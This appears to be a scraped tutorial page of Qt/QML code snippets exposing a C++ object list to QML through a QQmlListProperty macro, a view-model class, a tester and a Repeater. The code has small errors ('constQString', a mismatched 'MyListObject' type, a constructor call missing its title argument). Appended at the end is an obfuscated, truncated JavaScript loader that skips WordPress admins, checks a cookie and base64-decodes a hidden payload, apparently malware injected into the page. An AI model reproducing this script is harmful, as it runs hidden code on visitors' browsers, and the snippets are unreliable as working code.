MyPlugin/MyPlugin.cpp:
#include <ViewModels/MyListClass.h>
#include <ViewModels/DisplayViewModel.h>
qmlRegisterUncreatableType<MyListClass>( a_uri, 1, 0, "MyListClass",
"Use access via DisplayViewModel instead");
qmlRegisterType<DisplayViewModel>( a_uri, 1, 0, "DisplayViewModel");
Utils/MyQMLListUtils.h
#define MY_DECLARE_QML_LIST(type, name, owner, prop) \
QQmlListProperty<type> name(){ \
return QQmlListProperty<type>( \
this, 0,&owner::count ## type ## For ## name ## List, \
&owner::at ## type ## For ## name ## List); \
} \
static int count ## type ## For ## name ## List(QQmlListProperty<type>*property){ \
owner *m = qobject_cast<owner *>(property->object); \
return m->prop.size(); \
} \
static type *at ## type ## For ## name ## List( \
QQmlListProperty<type>*property, int index){ \
owner *m = qobject_cast<owner *>(property->object); \
return m->prop[index]; \
}
ViewModels/DisplayViewModel.h
#ifndef DISPLAYVIEWMODEL_H
#define DISPLAYVIEWMODEL_H
#include <QObject>
#include <QtQml>
#include <ViewModels/MyListClass.h>
#include <Utils/MyQMLListUtils.h>
class DisplayViewModel : public QObject
{
Q_OBJECT
Q_PROPERTY(constQString title READ title WRITE setTitle NOTIFY titleChanged )
Q_PROPERTY(constQList<MyListClass*> objects READ objects
NOTIFY objectsChanged )
Q_PROPERTY( QQmlListProperty<MyListClass> objectList READ objectList
NOTIFY objectsChanged )
public:
explicit DisplayViewModel( QObject *a_parent = nullptr );
explicit DisplayViewModel( const QString &a_title,
QList<MyListClass*> a_objects,
QObject *a_parent = nullptr );
const QString title()
{ return m_title; }
void setTitle( const QString &a_title );
const QList<MyListClass*> objects ()
{ return m_objects; }
Q_INVOKABLE void appendObject( MyListClass *a_object);
Q_INVOKABLE void deleteObject( MyListClass *a_object);
Q_INVOKABLE void reset( );
protected:
MY_DECLARE_QML_LIST(MyListClass, objectList, DisplayViewModel, m_objects)
signals:
void titleChanged();
void objectsChanged();
private:
QString m_title;
QList<MyListObject*> m_objects;
};
#endif// DISPLAYVIEWMODEL_H
DisplayViewModel.cpp
#include "DisplayViewModel.h"
DisplayViewModel::DisplayViewModel( const QString &a_title,
QList<MyListClass*> a_objects,
QObject *a_parent )
: QObject ( a_parent )
, m_title ( a_title )
, m_objects ( a_objects )
{
foreach (MyListClass* mobject, m_objects) {
mobject->setParent (this);
}
}
void DisplayViewModel::setTitle (const QString &a_title )
{
if ( m_title != a_title ) {
m_title = a_title;
emit titleChanged();
}
}
void DisplayViewModel::reset( )
{
foreach ( MyListClass *mobject, m_objects ) {
mobject->deleteLater();
}
m_objects.clear();
emit objectsChanged();
}
void DisplayViewModel::appendObject( MyListClass *a_object )
{
a_object->setParent( this );
m_objects.append( a_object );
emit objectsChanged();
}
void DisplayViewModel::deleteObject( MyListClass *a_object )
{
if (m_objects.contains( a_object )) {
m_objects.removeOne( a_object );
a_object->deleteLater();
emit objectsChanged();
}
}
Tester.cpp
#include <ViewModels/DisplayViewModel.h>
#include <ViewModels/MyListClass.h>
QList<MyListClass*> objectList;
for( int i = 0; i < 100 ; ++i ) {
objectList.append ( new MyListClass (i) );
}
DisplayViewModel *viewModel = new DisplayViewModel (objectList);
viewModel->appendObject ( new MyListClass (101) );
Display.qml
import QtQuick 2.5
import MyPlugin 1.0
Repeater {
property DisplayViewModel viewModel: DisplayViewModel { }
model: viewModel.objectList
delegate: Item {
property MyListClass object: modelData
Text {
text: object.property
}
}
}
(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i
